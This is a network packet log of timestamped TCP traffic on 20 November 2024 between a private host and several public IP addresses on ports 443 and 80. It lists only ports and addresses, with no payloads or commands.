Nov 20, 2024 18:57:26.891232967 CET	49736	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:26.891238928 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.894654989 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.894704103 CET	49736	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:26.894711018 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.900187016 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.900240898 CET	49736	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:26.900247097 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.905643940 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.905702114 CET	49736	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:26.905709028 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.911206007 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.911251068 CET	49736	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:26.911257982 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.921730042 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.921775103 CET	49736	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:26.921782970 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.933226109 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.933274984 CET	49736	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:26.933281898 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.934902906 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.934954882 CET	49736	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:26.934962034 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.944787025 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.944830894 CET	49736	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:26.944838047 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.945905924 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.945960999 CET	49736	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:26.946111917 CET	49736	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:26.946125984 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:27.525348902 CET	443	49741	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:27.525898933 CET	49741	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:27.525921106 CET	443	49741	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:27.526498079 CET	49741	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:27.526509047 CET	443	49741	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:27.632846117 CET	443	49742	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:27.633323908 CET	49742	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:27.633342028 CET	443	49742	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:27.633989096 CET	49742	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:27.633994102 CET	443	49742	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:27.689335108 CET	443	49743	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:27.689493895 CET	443	49745	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:27.689841032 CET	49743	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:27.689861059 CET	443	49743	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:27.690345049 CET	49743	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:27.690351009 CET	443	49743	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:27.690783024 CET	49745	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:27.690793991 CET	443	49745	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:27.691401005 CET	49745	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:27.691406012 CET	443	49745	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:27.780580997 CET	443	49744	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:27.781738997 CET	49744	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:27.781749964 CET	443	49744	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:27.782179117 CET	49744	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:27.782185078 CET	443	49744	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:27.921693087 CET	49754	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:27.921716928 CET	443	49754	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:27.925684929 CET	49754	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:27.925684929 CET	49754	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:27.925715923 CET	443	49754	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:27.988751888 CET	443	49741	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:27.988816977 CET	443	49741	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:27.989063025 CET	49741	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:27.989063025 CET	49741	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:27.989135981 CET	49741	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:27.989151001 CET	443	49741	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:27.991944075 CET	49755	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:27.992013931 CET	443	49755	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:27.992228985 CET	49755	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:27.992228985 CET	49755	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:27.992306948 CET	443	49755	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:28.079943895 CET	443	49742	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:28.080043077 CET	443	49742	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:28.080244064 CET	49742	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:28.080244064 CET	49742	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:28.080408096 CET	49742	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:28.080420017 CET	443	49742	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:28.082784891 CET	49757	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:28.082820892 CET	443	49757	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:28.083046913 CET	49757	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:28.083122015 CET	49757	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:28.083132982 CET	443	49757	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:28.086303949 CET	443	49747	4.175.87.197	192.168.2.6
Nov 20, 2024 18:57:28.086447001 CET	49747	443	192.168.2.6	4.175.87.197
Nov 20, 2024 18:57:28.087985992 CET	49747	443	192.168.2.6	4.175.87.197
Nov 20, 2024 18:57:28.087994099 CET	443	49747	4.175.87.197	192.168.2.6
Nov 20, 2024 18:57:28.088412046 CET	443	49747	4.175.87.197	192.168.2.6
Nov 20, 2024 18:57:28.137049913 CET	49747	443	192.168.2.6	4.175.87.197
Nov 20, 2024 18:57:28.138034105 CET	443	49745	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:28.138123989 CET	443	49745	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:28.138227940 CET	49745	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:28.139468908 CET	443	49743	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:28.139552116 CET	443	49743	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:28.139719009 CET	49743	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:28.140173912 CET	49745	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:28.140183926 CET	443	49745	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:28.140212059 CET	49745	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:28.140224934 CET	443	49745	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:28.141187906 CET	49743	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:28.141187906 CET	49743	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:28.141206980 CET	443	49743	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:28.141215086 CET	443	49743	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:28.157064915 CET	49758	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:28.157123089 CET	443	49758	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:28.157308102 CET	49759	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:28.157345057 CET	443	49759	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:28.157376051 CET	49758	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:28.157546997 CET	49759	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:28.157603025 CET	49758	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:28.157624006 CET	443	49758	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:28.158128023 CET	49759	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:28.158142090 CET	443	49759	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:28.175870895 CET	49747	443	192.168.2.6	4.175.87.197
Nov 20, 2024 18:57:28.219363928 CET	443	49747	4.175.87.197	192.168.2.6
Nov 20, 2024 18:57:28.240919113 CET	443	49744	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:28.241000891 CET	443	49744	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:28.241425037 CET	49744	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:28.241425037 CET	49744	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:28.241739035 CET	49744	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:28.241750956 CET	443	49744	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:28.246570110 CET	49760	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:28.246594906 CET	443	49760	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:28.247330904 CET	49760	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:28.247330904 CET	49760	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:28.247351885 CET	443	49760	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:28.437942982 CET	49761	443	192.168.2.6	23.218.208.109
Nov 20, 2024 18:57:28.437987089 CET	443	49761	23.218.208.109	192.168.2.6
Nov 20, 2024 18:57:28.438262939 CET	49761	443	192.168.2.6	23.218.208.109
Nov 20, 2024 18:57:28.439244986 CET	49761	443	192.168.2.6	23.218.208.109
Nov 20, 2024 18:57:28.439260960 CET	443	49761	23.218.208.109	192.168.2.6
Nov 20, 2024 18:57:28.817959070 CET	443	49747	4.175.87.197	192.168.2.6
Nov 20, 2024 18:57:28.817980051 CET	443	49747	4.175.87.197	192.168.2.6
Nov 20, 2024 18:57:28.817987919 CET	443	49747	4.175.87.197	192.168.2.6
Nov 20, 2024 18:57:28.818001032 CET	443	49747	4.175.87.197	192.168.2.6
Nov 20, 2024 18:57:28.818161964 CET	443	49747	4.175.87.197	192.168.2.6
Nov 20, 2024 18:57:28.818182945 CET	49747	443	192.168.2.6	4.175.87.197
Nov 20, 2024 18:57:28.818182945 CET	49747	443	192.168.2.6	4.175.87.197
Nov 20, 2024 18:57:28.818224907 CET	443	49747	4.175.87.197	192.168.2.6
Nov 20, 2024 18:57:28.818284035 CET	49747	443	192.168.2.6	4.175.87.197
Nov 20, 2024 18:57:28.838933945 CET	443	49747	4.175.87.197	192.168.2.6
Nov 20, 2024 18:57:28.839020014 CET	49747	443	192.168.2.6	4.175.87.197
Nov 20, 2024 18:57:28.839051962 CET	443	49747	4.175.87.197	192.168.2.6
Nov 20, 2024 18:57:28.839072943 CET	443	49747	4.175.87.197	192.168.2.6
Nov 20, 2024 18:57:28.839118958 CET	49747	443	192.168.2.6	4.175.87.197
Nov 20, 2024 18:57:28.839222908 CET	49747	443	192.168.2.6	4.175.87.197
Nov 20, 2024 18:57:28.839243889 CET	443	49747	4.175.87.197	192.168.2.6
Nov 20, 2024 18:57:28.839257002 CET	49747	443	192.168.2.6	4.175.87.197
Nov 20, 2024 18:57:28.839265108 CET	443	49747	4.175.87.197	192.168.2.6
Nov 20, 2024 18:57:29.444747925 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:29.445024014 CET	49764	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:29.564948082 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:29.565277100 CET	80	49764	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:29.565356970 CET	49764	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:29.565680027 CET	49764	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:29.614582062 CET	443	49754	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:29.614821911 CET	49754	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:29.614835024 CET	443	49754	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:29.615293980 CET	443	49754	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:29.615603924 CET	49754	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:29.615683079 CET	443	49754	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:29.658097982 CET	49754	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:29.685333014 CET	80	49764	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:29.861454010 CET	443	49755	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:29.868402958 CET	49755	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:29.868442059 CET	443	49755	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:29.868982077 CET	49755	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:29.868997097 CET	443	49755	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:29.966082096 CET	443	49758	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:29.966521025 CET	49758	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:29.966535091 CET	443	49758	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:29.967041969 CET	49758	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:29.967047930 CET	443	49758	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:29.982559919 CET	443	49761	23.218.208.109	192.168.2.6
Nov 20, 2024 18:57:29.982641935 CET	49761	443	192.168.2.6	23.218.208.109
Nov 20, 2024 18:57:29.984358072 CET	49761	443	192.168.2.6	23.218.208.109
Nov 20, 2024 18:57:29.984361887 CET	443	49761	23.218.208.109	192.168.2.6
Nov 20, 2024 18:57:29.984605074 CET	443	49761	23.218.208.109	192.168.2.6
Nov 20, 2024 18:57:30.027393103 CET	49761	443	192.168.2.6	23.218.208.109
Nov 20, 2024 18:57:30.029911041 CET	49761	443	192.168.2.6	23.218.208.109
Nov 20, 2024 18:57:30.030421972 CET	443	49759	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:30.030878067 CET	49759	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:30.030894995 CET	443	49759	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:30.031497955 CET	49759	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:30.031503916 CET	443	49759	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:30.052376986 CET	443	49760	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:30.052886963 CET	49760	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:30.052900076 CET	443	49760	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:30.053375006 CET	49760	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:30.053380966 CET	443	49760	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:30.075325966 CET	443	49761	23.218.208.109	192.168.2.6
Nov 20, 2024 18:57:30.238955975 CET	443	49757	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:30.239592075 CET	49757	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:30.239614964 CET	443	49757	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:30.240082026 CET	49757	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:30.240087986 CET	443	49757	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:30.329173088 CET	443	49755	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:30.329231977 CET	443	49755	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:30.329309940 CET	49755	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:30.329525948 CET	49755	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:30.329549074 CET	443	49755	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:30.329566002 CET	49755	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:30.329572916 CET	443	49755	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:30.332773924 CET	49765	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:30.332807064 CET	443	49765	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:30.332870007 CET	49765	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:30.333056927 CET	49765	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:30.333081007 CET	443	49765	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:30.434067011 CET	443	49758	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:30.434223890 CET	443	49758	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:30.434290886 CET	49758	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:30.435642004 CET	49758	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:30.435659885 CET	443	49758	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:30.435678005 CET	49758	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:30.435684919 CET	443	49758	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:30.447726965 CET	49766	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:30.447757959 CET	443	49766	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:30.447813988 CET	49766	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:30.451131105 CET	49766	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:30.451154947 CET	443	49766	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:30.487107038 CET	443	49759	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:30.487160921 CET	443	49759	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:30.487368107 CET	49759	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:30.487567902 CET	49759	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:30.487581968 CET	443	49759	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:30.487592936 CET	49759	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:30.487598896 CET	443	49759	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:30.490272045 CET	49767	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:30.490298033 CET	443	49767	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:30.490622997 CET	49767	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:30.490839958 CET	49767	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:30.490858078 CET	443	49767	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:30.518112898 CET	443	49760	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:30.518203020 CET	443	49760	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:30.518276930 CET	49760	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:30.518644094 CET	49760	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:30.518644094 CET	49760	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:30.518659115 CET	443	49760	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:30.518670082 CET	443	49760	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:30.524573088 CET	49768	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:30.524601936 CET	443	49768	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:30.524662971 CET	49768	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:30.525979996 CET	49768	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:30.525995970 CET	443	49768	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:30.526794910 CET	443	49761	23.218.208.109	192.168.2.6
Nov 20, 2024 18:57:30.526941061 CET	443	49761	23.218.208.109	192.168.2.6
Nov 20, 2024 18:57:30.527004004 CET	49761	443	192.168.2.6	23.218.208.109
Nov 20, 2024 18:57:30.527864933 CET	49761	443	192.168.2.6	23.218.208.109
Nov 20, 2024 18:57:30.527884960 CET	443	49761	23.218.208.109	192.168.2.6
Nov 20, 2024 18:57:30.527914047 CET	49761	443	192.168.2.6	23.218.208.109
Nov 20, 2024 18:57:30.527925014 CET	443	49761	23.218.208.109	192.168.2.6
Nov 20, 2024 18:57:30.586497068 CET	49769	443	192.168.2.6	23.218.208.109
Nov 20, 2024 18:57:30.586539030 CET	443	49769	23.218.208.109	192.168.2.6
Nov 20, 2024 18:57:30.586658001 CET	49769	443	192.168.2.6	23.218.208.109
Nov 20, 2024 18:57:30.587918043 CET	49769	443	192.168.2.6	23.218.208.109
Nov 20, 2024 18:57:30.587933064 CET	443	49769	23.218.208.109	192.168.2.6
Nov 20, 2024 18:57:30.597665071 CET	49771	443	192.168.2.6	142.250.181.78
Nov 20, 2024 18:57:30.597688913 CET	443	49771	142.250.181.78	192.168.2.6
Nov 20, 2024 18:57:30.597752094 CET	49771	443	192.168.2.6	142.250.181.78
Nov 20, 2024 18:57:30.598011017 CET	49771	443	192.168.2.6	142.250.181.78
Nov 20, 2024 18:57:30.598026037 CET	443	49771	142.250.181.78	192.168.2.6
Nov 20, 2024 18:57:30.707787037 CET	443	49757	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:30.707869053 CET	443	49757	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:30.707916021 CET	49757	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:30.708365917 CET	49757	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:30.708376884 CET	443	49757	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:30.708388090 CET	49757	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:30.708391905 CET	443	49757	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:30.716738939 CET	49772	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:30.716773987 CET	443	49772	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:30.716855049 CET	49772	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:30.717400074 CET	49772	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:30.717407942 CET	443	49772	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:31.512593031 CET	80	49764	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:31.512758017 CET	49764	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:32.073895931 CET	443	49765	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:32.078902006 CET	49765	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:32.078919888 CET	443	49765	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:32.079526901 CET	49765	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:32.079531908 CET	443	49765	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:32.081229925 CET	49764	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:32.083631992 CET	443	49769	23.218.208.109	192.168.2.6
Nov 20, 2024 18:57:32.083748102 CET	49769	443	192.168.2.6	23.218.208.109
Nov 20, 2024 18:57:32.086213112 CET	49769	443	192.168.2.6	23.218.208.109
Nov 20, 2024 18:57:32.086219072 CET	443	49769	23.218.208.109	192.168.2.6
Nov 20, 2024 18:57:32.086462021 CET	443	49769	23.218.208.109	192.168.2.6
Nov 20, 2024 18:57:32.087822914 CET	49769	443	192.168.2.6	23.218.208.109
Nov 20, 2024 18:57:32.131335974 CET	443	49769	23.218.208.109	192.168.2.6
Nov 20, 2024 18:57:32.200712919 CET	80	49764	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:32.228001118 CET	443	49766	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:32.275048018 CET	49766	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:32.355942011 CET	443	49771	142.250.181.78	192.168.2.6
Nov 20, 2024 18:57:32.374377966 CET	443	49767	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:32.378468037 CET	443	49768	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:32.404459000 CET	49771	443	192.168.2.6	142.250.181.78
Nov 20, 2024 18:57:32.418807983 CET	49766	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:32.418816090 CET	443	49766	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:32.419011116 CET	49767	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:32.419141054 CET	49768	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:32.419625998 CET	49766	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:32.419631958 CET	443	49766	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:32.420519114 CET	49767	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:32.420526981 CET	443	49767	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:32.421310902 CET	49767	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:32.421317101 CET	443	49767	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:32.421693087 CET	49768	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:32.421700954 CET	443	49768	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:32.422256947 CET	49768	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:32.422270060 CET	443	49768	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:32.521765947 CET	443	49765	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:32.521836996 CET	443	49765	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:32.521910906 CET	49765	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:32.522073030 CET	49765	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:32.522089005 CET	443	49765	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:32.522105932 CET	49765	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:32.522113085 CET	443	49765	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:32.525094986 CET	49773	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:32.525160074 CET	443	49773	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:32.525230885 CET	49773	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:32.525352955 CET	49773	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:32.525372028 CET	443	49773	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:32.528450012 CET	443	49772	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:32.528840065 CET	49772	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:32.528856039 CET	443	49772	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:32.529333115 CET	49772	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:32.529339075 CET	443	49772	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:32.542799950 CET	49771	443	192.168.2.6	142.250.181.78
Nov 20, 2024 18:57:32.542810917 CET	49754	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:32.622786999 CET	443	49769	23.218.208.109	192.168.2.6
Nov 20, 2024 18:57:32.622862101 CET	443	49769	23.218.208.109	192.168.2.6
Nov 20, 2024 18:57:32.622942924 CET	49769	443	192.168.2.6	23.218.208.109
Nov 20, 2024 18:57:32.628077984 CET	49769	443	192.168.2.6	23.218.208.109
Nov 20, 2024 18:57:32.628077984 CET	49769	443	192.168.2.6	23.218.208.109
Nov 20, 2024 18:57:32.628098011 CET	443	49769	23.218.208.109	192.168.2.6
Nov 20, 2024 18:57:32.628107071 CET	443	49769	23.218.208.109	192.168.2.6
Nov 20, 2024 18:57:32.735105038 CET	443	49766	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:32.735179901 CET	443	49766	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:32.735236883 CET	49766	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:32.735536098 CET	49766	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:32.735536098 CET	49766	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:32.735552073 CET	443	49766	13.107.246.63	192.168.2.6
